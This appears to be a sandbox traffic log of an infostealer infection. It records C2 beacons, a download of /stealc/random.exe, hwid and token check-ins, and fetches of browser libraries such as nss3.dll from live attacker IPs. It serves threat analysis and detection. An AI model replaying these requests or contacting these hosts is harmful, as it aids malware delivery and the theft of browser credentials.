Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 05 Jul 2024 02:25:37 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: GET /stealc/random.exe HTTP/1.1Host: 77.91.77.81
Source: global traffic HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AECAKJJECAEGCBGDHDHCHost: 85.28.47.30Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 43 41 4b 4a 4a 45 43 41 45 47 43 42 47 44 48 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 45 46 45 35 36 43 42 38 36 36 38 34 32 31 37 36 35 31 31 32 30 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 4b 4a 4a 45 43 41 45 47 43 42 47 44 48 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 4e 69 63 65 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 4b 4a 4a 45 43 41 45 47 43 42 47 44 48 44 48 43 2d 2d 0d 0a Data Ascii: ------AECAKJJECAEGCBGDHDHCContent-Disposition: form-data; name="hwid"9EFE56CB86684217651120------AECAKJJECAEGCBGDHDHCContent-Disposition: form-data; name="build"Nice------AECAKJJECAEGCBGDHDHC--
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 30 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000006001&unit=246122658369
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEBAAFCAFCBKFHJJJKKFHost: 85.28.47.30Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 31 39 63 63 64 35 65 34 32 64 38 65 33 37 33 35 39 33 63 33 65 34 31 62 31 64 38 38 36 37 63 61 35 63 35 30 61 33 64 30 31 66 66 39 38 64 37 34 33 66 37 34 62 37 64 65 33 65 31 66 39 61 62 31 33 64 35 32 63 65 0d 0a 2d 2d 2d 2d 2d 2d 49 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 2d 2d 0d 0a Data Ascii: ------IEBAAFCAFCBKFHJJJKKFContent-Disposition: form-data; name="token"f819ccd5e42d8e373593c3e41b1d8867ca5c50a3d01ff98d743f74b7de3e1f9ab13d52ce------IEBAAFCAFCBKFHJJJKKFContent-Disposition: form-data; name="message"browsers------IEBAAFCAFCBKFHJJJKKF--
Source: global traffic HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBAKKFHJDBKKEBFHDAAEHost: 85.28.47.30Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 41 4b 4b 46 48 4a 44 42 4b 4b 45 42 46 48 44 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 31 39 63 63 64 35 65 34 32 64 38 65 33 37 33 35 39 33 63 33 65 34 31 62 31 64 38 38 36 37 63 61 35 63 35 30 61 33 64 30 31 66 66 39 38 64 37 34 33 66 37 34 62 37 64 65 33 65 31 66 39 61 62 31 33 64 35 32 63 65 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 4b 4b 46 48 4a 44 42 4b 4b 45 42 46 48 44 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 4b 4b 46 48 4a 44 42 4b 4b 45 42 46 48 44 41 41 45 2d 2d 0d 0a Data Ascii: ------EBAKKFHJDBKKEBFHDAAEContent-Disposition: form-data; name="token"f819ccd5e42d8e373593c3e41b1d8867ca5c50a3d01ff98d743f74b7de3e1f9ab13d52ce------EBAKKFHJDBKKEBFHDAAEContent-Disposition: form-data; name="message"plugins------EBAKKFHJDBKKEBFHDAAE--
Source: global traffic HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIEHIDHJDBFIIECAKECBHost: 85.28.47.30Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 45 48 49 44 48 4a 44 42 46 49 49 45 43 41 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 31 39 63 63 64 35 65 34 32 64 38 65 33 37 33 35 39 33 63 33 65 34 31 62 31 64 38 38 36 37 63 61 35 63 35 30 61 33 64 30 31 66 66 39 38 64 37 34 33 66 37 34 62 37 64 65 33 65 31 66 39 61 62 31 33 64 35 32 63 65 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 49 44 48 4a 44 42 46 49 49 45 43 41 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 49 44 48 4a 44 42 46 49 49 45 43 41 4b 45 43 42 2d 2d 0d 0a Data Ascii: ------GIEHIDHJDBFIIECAKECBContent-Disposition: form-data; name="token"f819ccd5e42d8e373593c3e41b1d8867ca5c50a3d01ff98d743f74b7de3e1f9ab13d52ce------GIEHIDHJDBFIIECAKECBContent-Disposition: form-data; name="message"fplugins------GIEHIDHJDBFIIECAKECB--
Source: global traffic HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCBAEHCAEGDHJKFHJKFIHost: 85.28.47.30Content-Length: 6711Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: GET /69934896f997d5bb/sqlite3.dll HTTP/1.1Host: 85.28.47.30Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKJKEBKFCAAECAAAAAECHost: 85.28.47.30Content-Length: 4599Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFHJJJDAFBKEBGDGHCGDHost: 85.28.47.30Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDBKFHIJKJKECAAAECAEHost: 85.28.47.30Content-Length: 359Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 42 4b 46 48 49 4a 4b 4a 4b 45 43 41 41 41 45 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 31 39 63 63 64 35 65 34 32 64 38 65 33 37 33 35 39 33 63 33 65 34 31 62 31 64 38 38 36 37 63 61 35 63 35 30 61 33 64 30 31 66 66 39 38 64 37 34 33 66 37 34 62 37 64 65 33 65 31 66 39 61 62 31 33 64 35 32 63 65 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 4b 46 48 49 4a 4b 4a 4b 45 43 41 41 41 45 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 4b 46 48 49 4a 4b 4a 4b 45 43 41 41 41 45 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 4b 46 48 49 4a 4b 4a 4b 45 43 41 41 41 45 43 41 45 2d 2d 0d 0a Data Ascii: ------HDBKFHIJKJKECAAAECAEContent-Disposition: form-data; name="token"f819ccd5e42d8e373593c3e41b1d8867ca5c50a3d01ff98d743f74b7de3e1f9ab13d52ce------HDBKFHIJKJKECAAAECAEContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------HDBKFHIJKJKECAAAECAEContent-Disposition: form-data; name="file"------HDBKFHIJKJKECAAAECAE--
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGHJJDGHCBGDHIECBGIDHost: 85.28.47.30Content-Length: 359Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 31 39 63 63 64 35 65 34 32 64 38 65 33 37 33 35 39 33 63 33 65 34 31 62 31 64 38 38 36 37 63 61 35 63 35 30 61 33 64 30 31 66 66 39 38 64 37 34 33 66 37 34 62 37 64 65 33 65 31 66 39 61 62 31 33 64 35 32 63 65 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 2d 2d 0d 0a Data Ascii: ------BGHJJDGHCBGDHIECBGIDContent-Disposition: form-data; name="token"f819ccd5e42d8e373593c3e41b1d8867ca5c50a3d01ff98d743f74b7de3e1f9ab13d52ce------BGHJJDGHCBGDHIECBGIDContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------BGHJJDGHCBGDHIECBGIDContent-Disposition: form-data; name="file"------BGHJJDGHCBGDHIECBGID--
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: GET /69934896f997d5bb/freebl3.dll HTTP/1.1Host: 85.28.47.30Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: GET /69934896f997d5bb/mozglue.dll HTTP/1.1Host: 85.28.47.30Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: GET /69934896f997d5bb/msvcp140.dll HTTP/1.1Host: 85.28.47.30Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /69934896f997d5bb/nss3.dll HTTP/1.1Host: 85.28.47.30Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
